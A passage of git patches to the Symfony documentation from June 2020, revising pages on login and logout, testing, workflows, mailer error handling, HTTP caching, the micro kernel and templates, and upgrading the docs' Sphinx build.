-                - { path: ^/login$, roles: IS_AUTHENTICATED_ANONYMOUSLY }
+            providers:
                 # ...
+                logout:
+                    path: app_logout
+                    # where to redirect after logout
+                    # target: app_any_route
 
     .. code-block:: xml
 
@@ -137,6 +151,12 @@ a traditional HTML form that submits to ``/login``:
             <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div>
         {% endif %}
 
+        {% if app.user %}
+            <div class="mb-3">
+                You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a>
+            </div>
+        {% endif %}
+
         <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
         <label for="inputEmail" class="sr-only">Email</label>
         <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" placeholder="Email" required autofocus>
@@ -171,7 +191,6 @@ a traditional HTML form that submits to ``/login``:
 
     use App\Entity\User;
     use Doctrine\ORM\EntityManagerInterface;
-
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
@@ -192,7 +211,7 @@ a traditional HTML form that submits to ``/login``:
     {
         use TargetPathTrait;
 
-        private const LOGIN_ROUTE = 'app_login';
+        public const LOGIN_ROUTE = 'app_login';
 
         private $entityManager;
         private $urlGenerator;
@@ -250,6 +269,14 @@ a traditional HTML form that submits to ``/login``:
             return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
         }
 
+        /**
+         * Used to upgrade (rehash) the user's password automatically over time.
+         */
+        public function getPassword($credentials): ?string
+        {
+            return $credentials['password'];
+        }
+
         public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
         {
             if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {

From b36ba09330fcc5f1e38f361f9fbab0b6dc9b6ad1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jun 2020 09:42:11 +0200
Subject: [PATCH 0899/7107] Removed an unneeded versionadded directive

---
 testing.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 6e535f60ae3..ad7e616dbb7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -331,12 +331,6 @@ document::
         // ...or check that the response is a redirect to any URL
         $this->assertResponseRedirects();
 
-.. versionadded:: 4.3
-
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
-
 .. _testing-data-providers:
 
 Testing against Different Sets of Data

From 7b931e2c0bb7b6761c450f206990161dac668d7b Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 23 Jun 2020 19:43:22 +0200
Subject: [PATCH 0900/7107] Add TypeHint

---
 testing.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index ad7e616dbb7..733929ab1a7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -729,6 +729,8 @@ Extracting Information
 
 The Crawler can extract information from the nodes::
 
+    use Symfony\Component\DomCrawler\Crawler;
+    
     // returns the attribute value for the first node
     $crawler->attr('class');
 
@@ -749,7 +751,7 @@ The Crawler can extract information from the nodes::
     $info = $crawler->extract(['_text', 'href']);
 
     // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function ($node, $i) {
+    $data = $crawler->each(function (Crawler $node, $i) {
         return $node->attr('href');
     });
 

From 4153d5e49fd31ba1c5daf8d4a85b3c8a178de6e3 Mon Sep 17 00:00:00 2001
From: Surfoo <surfooo@gmail.com>
Date: Wed, 24 Jun 2020 08:18:53 +0200
Subject: [PATCH 0901/7107] Fixed path for RoutingConfigurator class.

---
 configuration/micro_kernel_trait.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 9dd40a7e417..00f19d6a951 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -24,12 +24,12 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
 
     // index.php
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
     use Symfony\Component\Config\Loader\LoaderInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     require __DIR__.'/vendor/autoload.php';
 
@@ -134,10 +134,10 @@ hold the kernel. Now it looks like this::
     namespace App;
 
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
     use Symfony\Component\Config\Loader\LoaderInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class Kernel extends BaseKernel
     {

From 73161b8d2e5ecb467203e5a356a2659944ff8049 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Jun 2020 09:40:25 +0200
Subject: [PATCH 0902/7107] Minor tweak

---
 security/remember_me.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7b8af1824ad..8225bd4c084 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -315,8 +315,8 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
 .. note::
 
-    If you use DoctrineMigrationsBundle to manage your DB migrations, you will need to tell Doctrine to ignore this new
-    `rememberme_token` table with :
+    If you use DoctrineMigrationsBundle to manage your database migrations, you
+    will need to tell Doctrine to ignore this new ``rememberme_token`` table:
 
     .. configuration-block::
 
@@ -330,7 +330,6 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~" .../>
 
-
         .. code-block:: php
 
             $container->loadFromExtension('doctrine', [

From 1eeda334194b0673931d3f175a6a8601281ed3bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Jun 2020 09:43:32 +0200
Subject: [PATCH 0903/7107] Minor tweaks

---
 messenger.rst            | 28 +++++++++++++++++++++++-----
 security/remember_me.rst |  3 +++
 2 files changed, 26 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 13d629be94a..b961d56c142 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -898,12 +898,30 @@ up manually by calling the ``messenger:setup-transports`` command.
     To avoid tools like Doctrine Migrations from trying to remove this table because
     it's not part of your normal schema, you can set the ``schema_filter`` option:
 
-    .. code-block:: yaml
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/doctrine.yaml
+            doctrine:
+                dbal:
+                    schema_filter: '~^(?!messenger_messages)~'
+
+        .. code-block:: xml
 
-        # config/packages/doctrine.yaml
-        doctrine:
-            dbal:
-                schema_filter: '~^(?!messenger_messages)~'
+            # config/packages/doctrine.xml
+            <doctrine:dbal schema-filter="~^(?!messenger_messages)~" .../>
+
+        .. code-block:: php
+
+            # config/packages/doctrine.php
+            $container->loadFromExtension('doctrine', [
+                'dbal' => [
+                    'schema_filter'  => '~^(?!messenger_messages)~',
+                    // ...
+                ],
+                // ...
+            ]);
 
 The transport has a number of options:
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7304217da13..ead28189ca1 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -256,16 +256,19 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: yaml
 
+            # config/packages/doctrine.yaml
             doctrine:
                 dbal:
                     schema_filter: ~^(?!rememberme_token)~
 
         .. code-block:: xml
 
+            # config/packages/doctrine.xml
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~" .../>
 
         .. code-block:: php
 
+            # config/packages/doctrine.php
             $container->loadFromExtension('doctrine', [
                 'dbal' => [
                     'schema_filter'  => '~^(?!rememberme_token)~',

From 7a6bec2b27acaa8cca76424dfd6a25bc466e18c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Jun 2020 10:32:51 +0200
Subject: [PATCH 0904/7107] Reword

---
 http_cache/expiration.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index b5004d0a46a..f7588a5e4e6 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -38,10 +38,12 @@ additional directives):
 
 .. note::
 
-    Using the ``setSharedMaxAge()`` may seem equivalent to using both ``setPublic()``
-    and ``setMaxAge()`` methods. However, their behavior is different in a
-    ``stale-if-error`` scenario and that's why it's recommended to use both
-    ``public`` and ``max-age`` directives.
+    Using the ``setSharedMaxAge()`` method is not equivalent to using both
+    ``setPublic()`` and ``setMaxAge()`` methods. According to the
+    `Serving Stale Responses`_ section of RFC 7234, the ``s-maxage`` setting
+    (added by ``setSharedMaxAge()`` method) prohibits a cache to use a stale
+    response in ``stale-if-error`` scenarios. That's why it's recommended to use
+    both ``public`` and ``max-age`` directives.
 
 .. index::
     single: Cache; Expires header
@@ -84,9 +86,10 @@ servers should not send ``Expires`` dates more than one year in the future."
 
 .. note::
 
-    According to `RFC 7234 - Caching`_, the ``Expires`` header value is ignored
-    when the ``s-maxage`` or ``max-age`` directive of the ``Cache-Control``
-    header is defined.
+    According to the `Calculating Freshness Lifetime`_ section of RFC 7234,
+    the ``Expires`` header value is ignored when the ``s-maxage`` or ``max-age``
+    directive of the ``Cache-Control`` header is defined.
 
 .. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2
-.. _`RFC 7234 - Caching`: https://tools.ietf.org/html/rfc7234#section-4.2.1
+.. _`Calculating Freshness Lifetime`: https://tools.ietf.org/html/rfc7234#section-4.2.1
+.. _`Serving Stale Responses`: https://tools.ietf.org/html/rfc7234#section-4.2.4

From daf62564a18c1877308003206419ece7d2f430ef Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 25 Jun 2020 11:54:48 +0100
Subject: [PATCH 0905/7107] Update workflow.rst

---
 workflow.rst | 36 +++++++++++++++++++++++++++---------
 1 file changed, 27 insertions(+), 9 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 10d77837e48..4f8e16eb907 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -165,9 +165,12 @@ like this:
 
 The configured property will be used via it's implemented getter/setter methods by the marking store::
 
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
     class BlogPost
     {
-        // the configured property must be declared
+        // the configured marking store property must be declared
         private $currentPlace;
         private $title;
         private $content;
@@ -236,11 +239,11 @@ Accessing the Workflow in a Class
 To access workflow inside a class, use dependency injection and inject the
 registry in the constructor::
 
+    use App\Entity\BlogPost;
     use Symfony\Component\Workflow\Registry;
 
     class MyClass
     {
-
         private $workflowRegistry;
 
         public function __construct(Registry $workflowRegistry)
@@ -361,11 +364,15 @@ order:
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 
+    // src/App/EventSubscriber/WorkflowLoggerSubscriber.php
+   
+    namespace App\EventSubscriber;
+
     use Psr\Log\LoggerInterface;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\Event;
 
-    class WorkflowLogger implements EventSubscriberInterface
+    class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
         private $logger;
 
@@ -411,14 +418,19 @@ list of the guard event names.
 This example stops any blog post being transitioned to "reviewed" if it is
 missing a title::
 
+    // src/App/EventSubscriber/BlogPostReviewSubscriber.php
+    
+    namespace App\EventSubscriber;
+    
+    use App\Entity\BlogPost;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\GuardEvent;
 
-    class BlogPostReviewListener implements EventSubscriberInterface
+    class BlogPostReviewSubscriber implements EventSubscriberInterface
     {
         public function guardReview(GuardEvent $event)
         {
-            /** @var App\Entity\BlogPost $post */
+            /** @var BlogPost $post */
             $post = $event->getSubject();
             $title = $post->title;
 
@@ -600,13 +612,14 @@ This example has been simplified; in production you may prefer to use the
 :doc:`Translation </translation>` component to manage messages in one
 place::
 
-    namespace App\Listener\Workflow\Task;
+    // src/App/EventSubscriber/BlogPostPublishSubscriber.php
+    namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\GuardEvent;
     use Symfony\Component\Workflow\TransitionBlocker;
 
-    class BlogPostPublishListener implements EventSubscriberInterface
+    class BlogPostPublishSubscriber implements EventSubscriberInterface
     {
         public function guardPublish(GuardEvent $event)
         {
@@ -809,10 +822,13 @@ requires:
 
 Then you can access this metadata in your controller as follows::
 
+    // src/App/Controller/BlogPostController.php
+    
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\Registry;
+    // ...
 
-    public function myController(Registry $registry, BlogPost $post)
+    public function myAction(Registry $registry, BlogPost $post)
     {
         $workflow = $registry->get($post);
 
@@ -831,6 +847,8 @@ Then you can access this metadata in your controller as follows::
             ->getMetadataStore()
             ->getTransitionMetadata($aTransition)['priority'] ?? 0
         ;
+        
+        // ...
     }
 
 There is a ``getMetadata()`` method that works with all kinds of metadata::
@@ -880,7 +898,7 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
             {% for transition in workflow_transitions(blog_post) %}
                 <li>
                     {{ transition.name }}:
-                    <code>{{ workflow_metadata(blog_post, 'priority', transition) ?: '0' }}</code>
+                    <code>{{ workflow_metadata(blog_post, 'priority', transition) ?: 0 }}</code>
                 </li>
             {% endfor %}
         </ul>

From 9260bc143463ac31a02f46ce3f65b0651d58ceb1 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 24 Jun 2020 20:53:19 +0200
Subject: [PATCH 0906/7107] Update cache_invalidation.rst

---
 http_cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 764ccd09610..02d5f33bb06 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -88,7 +88,7 @@ Here is how you can configure the Symfony reverse proxy to support the
     purging your cached data.
 
 **Purge** instructs the cache to drop a resource in *all its variants*
-(according to the ``Vary`` header, see above). An alternative to purging is
+(according to the ``Vary`` header, see :doc:`/http_cache/cache_vary`). An alternative to purging is
 **refreshing** a content. Refreshing means that the caching proxy is
 instructed to discard its local cache and fetch the content again. This way,
 the new content is already available in the cache. The drawback of refreshing

From 9b704d57e20072b9f5bcfbe474c99d6eb1b3a771 Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Fri, 26 Jun 2020 16:09:43 +0200
Subject: [PATCH 0907/7107] Added function to get a specific transition

---
 workflow.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 376996534ba..7521705980d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -229,6 +229,8 @@ what actions are allowed on a blog post::
 
     // See all the available transitions for the post in the current state
     $transitions = $workflow->getEnabledTransitions($post);
+    // See a specific available transition for the post in the current state
+    $transition = $workflow->getEnabledTransition($post, 'publish');
 
 Accessing the Workflow in a Class
 ---------------------------------
@@ -649,6 +651,9 @@ of domain logic in your templates:
 ``workflow_transitions()``
     Returns an array with all the transitions enabled for the given object.
 
+``workflow_transition()``
+    Returns a specific transitions enabled for the given object and transition name.
+
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.
 
@@ -883,6 +888,15 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
             {% endfor %}
         </ul>
     </p>
+    <p>
+        <strong>to_review Priority</strong>
+        <ul>
+            <li>
+                to_review:
+                <code>{{ workflow_metadata(blog_post, 'priority', workflow_transition(blog_post, 'to_review')) }}</code>
+            </li>
+        </ul>
+    </p>
 
 Learn more
 ----------

From 3320fd192e77cf32cc54ea1784f613932737e844 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 25 Jun 2020 23:18:23 +0200
Subject: [PATCH 0908/7107] Update form.rst

---
 components/form.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index 5980fa3750f..7ac59478ceb 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -383,7 +383,7 @@ Creating a simple Form
 
     If you're using the Symfony Framework, then the form factory is available
     automatically as a service called ``form.factory``. Also, the default
-    base controller class has a :method:`Symfony\\Bundle\\FrameworkBundle\\Controller::createFormBuilder`
+    base controller class has a :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createFormBuilder`
     method, which is a shortcut to fetch the form factory and call ``createBuilder()``
     on it.
 

From 5223df8aa29d93e62e8bdc6df8e669aed29736d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jun 2020 16:26:44 +0200
Subject: [PATCH 0909/7107] Fixed some minor issues

---
 workflow.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 4f8e16eb907..f1498464717 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -365,7 +365,6 @@ Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 
     // src/App/EventSubscriber/WorkflowLoggerSubscriber.php
-   
     namespace App\EventSubscriber;
 
     use Psr\Log\LoggerInterface;
@@ -419,9 +418,8 @@ This example stops any blog post being transitioned to "reviewed" if it is
 missing a title::
 
     // src/App/EventSubscriber/BlogPostReviewSubscriber.php
-    
     namespace App\EventSubscriber;
-    
+
     use App\Entity\BlogPost;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\GuardEvent;
@@ -823,7 +821,6 @@ requires:
 Then you can access this metadata in your controller as follows::
 
     // src/App/Controller/BlogPostController.php
-    
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\Registry;
     // ...
@@ -847,7 +844,7 @@ Then you can access this metadata in your controller as follows::
             ->getMetadataStore()
             ->getTransitionMetadata($aTransition)['priority'] ?? 0
         ;
-        
+
         // ...
     }
 

From e2e183c7d10dfc4ea26beb65db11bbd2cfccac6f Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 24 Jun 2020 23:48:44 +0200
Subject: [PATCH 0910/7107] Update ssi.rst

---
 http_cache/ssi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 44ebda2990c..7397c7b0a5e 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -114,7 +114,7 @@ The profile index page has not public caching, but the GDPR block has
     {# templates/profile/index.html.twig #}
 
     {# you can use a controller reference #}
-    {{ render_ssi(controller('App\Controller\ProfileController::gdpr')) }}
+    {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }}
 
     {# ... or a URL #}
     {{ render_ssi(url('profile_gdpr')) }}

From 939d3cd7d02e9e88df06eab1ce2ba6d488478c15 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 24 Jun 2020 13:01:23 +0200
Subject: [PATCH 0911/7107] Update mailer.rst

---
 mailer.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index bc32c1e5946..74209094ca6 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -279,6 +279,30 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
+Catching Transport Exceptions
+-----------------------------
+
+If handing over the email to your transport fails, a
+:class:`Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface` is thrown. To
+make sure that sending the email was successful, you can catch that exception::
+
+    use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
+
+    $email = new Email();
+    // ...
+    try {
+        $mailer->send($email);
+        // Display message that email was successfully sent
+    } catch (TransportExceptionInterface $e) {
+        // Display message that sending the email failed
+    }
+    
+.. caution::
+
+    For Mailer, the sending process was successful, if your transport (SMTP
+    server or 3rd party provider) accepted the mail for further delivery. This
+    does not mean that the email has already arrived at the recipient's mail server.
+
 Debugging Emails
 ----------------
 

From 28af5e63dec8141a315afafc94f3159d5528a945 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jun 2020 16:46:15 +0200
Subject: [PATCH 0912/7107] Reword

---
 mailer.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 74209094ca6..347268b05f4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -279,12 +279,17 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
-Catching Transport Exceptions
------------------------------
+Handling Sending Failures
+-------------------------
+
+Symfony Mailer considers that sending was successful when your transport (SMTP
+server or third-party provider) accepts the mail for further delivery. The message
+can later be lost or not delivered because of some problem in your provider, but
+that's out of reach for your Symfony application.
 
-If handing over the email to your transport fails, a
-:class:`Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface` is thrown. To
-make sure that sending the email was successful, you can catch that exception::
+If there's an error when handing over the email to your transport, Symfony throws
+a :class:`Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface`.
+Catch that exception to recover from the error or to display some message::
 
     use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
 
@@ -292,16 +297,10 @@ make sure that sending the email was successful, you can catch that exception::
     // ...
     try {
         $mailer->send($email);
-        // Display message that email was successfully sent
     } catch (TransportExceptionInterface $e) {
-        // Display message that sending the email failed
+        // some error prevented the email sending; display an
+        // error message or try to resend the message
     }
-    
-.. caution::
-
-    For Mailer, the sending process was successful, if your transport (SMTP
-    server or 3rd party provider) accepted the mail for further delivery. This
-    does not mean that the email has already arrived at the recipient's mail server.
 
 Debugging Emails
 ----------------

From 44ca44fad09c1bc61f46c17541ade902897db14f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jun 2020 16:52:29 +0200
Subject: [PATCH 0913/7107] Don't use Twig as a public service

---
 templates.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/templates.rst b/templates.rst
index 540e8e493fb..a3d3702f82c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -565,12 +565,9 @@ Checking if a Template Exists
 Templates are loaded in the application using a `Twig template loader`_, which
 also provides a method to check for template existence. First, get the loader::
 
-    // in a controller extending from AbstractController
-    $loader = $this->get('twig')->getLoader();
-
-    // in a service using autowiring
     use Twig\Environment;
 
+    // this code assumes that your service uses autowiring to inject dependencies
     public function __construct(Environment $twig)
     {
         $loader = $twig->getLoader();

From f0d69b74e9cdba9a606858d99f7e5048c962c165 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Thu, 25 Jun 2020 22:39:33 +0200
Subject: [PATCH 0914/7107] add deprecation contracts package

---
 components/contracts.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/contracts.rst b/components/contracts.rst
index 4f84c5f2935..1f1cc3f6adc 100644
--- a/components/contracts.rst
+++ b/components/contracts.rst
@@ -19,6 +19,7 @@ your projects really need:
 
     $ composer require symfony/cache-contracts
     $ composer require symfony/event-dispatcher-contracts
+    $ composer require symfony/deprecation-contracts
     $ composer require symfony/http-client-contracts
     $ composer require symfony/service-contracts
     $ composer require symfony/translation-contracts

From f20f59b8ca9cb235c7b9c987e6c775eff897d750 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Thu, 25 Jun 2020 22:02:39 +0200
Subject: [PATCH 0915/7107] Fix wrong RoutingConfigurator#import usage

---
 configuration/micro_kernel_trait.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 00f19d6a951..116c79502c1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -174,12 +174,12 @@ hold the kernel. Now it looks like this::
         {
             // import the WebProfilerRoutes, only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.xml', '/_wdt');
-                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml', '/_profiler');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.xml')->prefix('/_wdt');
+                $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler');
             }
 
             // load the annotation routes
-            $routes->import(__DIR__.'/../src/Controller/', '/', 'annotation');
+            $routes->import(__DIR__.'/../src/Controller/', 'annotation');
         }
 
         // optional, to use the standard Symfony cache directory

From c2c7daedb40ab4b75920952140d6c988bedad866 Mon Sep 17 00:00:00 2001
From: SKmedix <skmedixs@gmail.com>
Date: Fri, 26 Jun 2020 20:56:55 +0200
Subject: [PATCH 0916/7107] :art: Improved consistency

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 31d17940038..372330cc60c 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -319,7 +319,7 @@ Now you're ready to use this service in the controller::
 
         if ($form->isSubmitted() && $form->isValid()) {
             /** @var UploadedFile $brochureFile */
-            $brochureFile = $form['brochure']->getData();
+            $brochureFile = $form->get('brochure')->getData();
             if ($brochureFile) {
                 $brochureFileName = $fileUploader->upload($brochureFile);
                 $product->setBrochureFilename($brochureFileName);

From 54ddd621d07289de7301011c920ebefa61d2966a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 27 Jun 2020 10:10:24 +0200
Subject: [PATCH 0917/7107] Tweak

---
 templates.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates.rst b/templates.rst
index a3d3702f82c..40880d76f63 100644
--- a/templates.rst
+++ b/templates.rst
@@ -568,6 +568,7 @@ also provides a method to check for template existence. First, get the loader::
     use Twig\Environment;
 
     // this code assumes that your service uses autowiring to inject dependencies
+    // otherwise, inject the service called 'twig' manually
     public function __construct(Environment $twig)
     {
         $loader = $twig->getLoader();

From 352d4a7a39b5d7b55e61b840ff0e7cdf5e49be7f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 25 Jun 2020 15:53:39 +0200
Subject: [PATCH 0918/7107] Upgrade all CI to Sphinx 1.8.5

---
 .doctor-rst.yaml                              |    2 +
 .github/workflows/ci.yaml                     |    4 +-
 _build/.requirements.txt                      |   15 +-
 .../_exts/symfonycom/__init__.py              |    0
 .../_exts/symfonycom/sphinx/__init__.py       |   79 -
 .../_exts/symfonycom/sphinx/lexer.py          |    0
 _build/_static/rtd_custom.css                 |   23 +
 _build/_static/symfony-logo.svg               |    1 +
 _build/_themes/sphinx_rtd_theme/__init__.py   |   19 -
 .../_themes/sphinx_rtd_theme/breadcrumbs.html |   82 -
 _build/_themes/sphinx_rtd_theme/footer.html   |   52 -
 _build/_themes/sphinx_rtd_theme/layout.html   |  219 --
 _build/_themes/sphinx_rtd_theme/search.html   |   50 -
 .../_themes/sphinx_rtd_theme/searchbox.html   |    9 -
 .../static/css/badge_only.css                 |    1 -
 .../sphinx_rtd_theme/static/css/theme.css     |    6 -
 .../static/fonts/FontAwesome.otf              |  Bin 134808 -> 0 bytes
 .../static/fonts/fontawesome-webfont.eot      |  Bin 165742 -> 0 bytes
 .../static/fonts/fontawesome-webfont.svg      | 2671 -----------------
 .../static/fonts/fontawesome-webfont.ttf      |  Bin 165548 -> 0 bytes
 .../static/fonts/fontawesome-webfont.woff     |  Bin 98024 -> 0 bytes
 .../static/fonts/fontawesome-webfont.woff2    |  Bin 77160 -> 0 bytes
 .../static/js/modernizr.min.js                |    4 -
 .../sphinx_rtd_theme/static/js/theme.js       |    3 -
 _build/_themes/sphinx_rtd_theme/theme.conf    |   17 -
 _build/_themes/sphinx_rtd_theme/versions.html |   37 -
 _build/conf.py                                |   36 +-
 best_practices/creating-the-project.rst       |    4 +-
 components/asset.rst                          |    2 +-
 components/lock.rst                           |    2 +-
 controller.rst                                |    2 +-
 frontend/encore/vuejs.rst                     |    8 +-
 reference/configuration/debug.rst             |    2 +-
 reference/configuration/framework.rst         |    2 +-
 reference/configuration/swiftmailer.rst       |    2 +-
 reference/configuration/twig.rst              |    2 +-
 reference/configuration/web_profiler.rst      |    2 +-
 reference/forms/twig_reference.rst            |    4 +-
 security/remember_me.rst                      |    2 +-
 service_container.rst                         |    4 +-
 setup.rst                                     |    6 +-
 41 files changed, 75 insertions(+), 3299 deletions(-)
 rename _build/{_themes => }/_exts/symfonycom/__init__.py (100%)
 rename _build/{_themes => }/_exts/symfonycom/sphinx/__init__.py (54%)
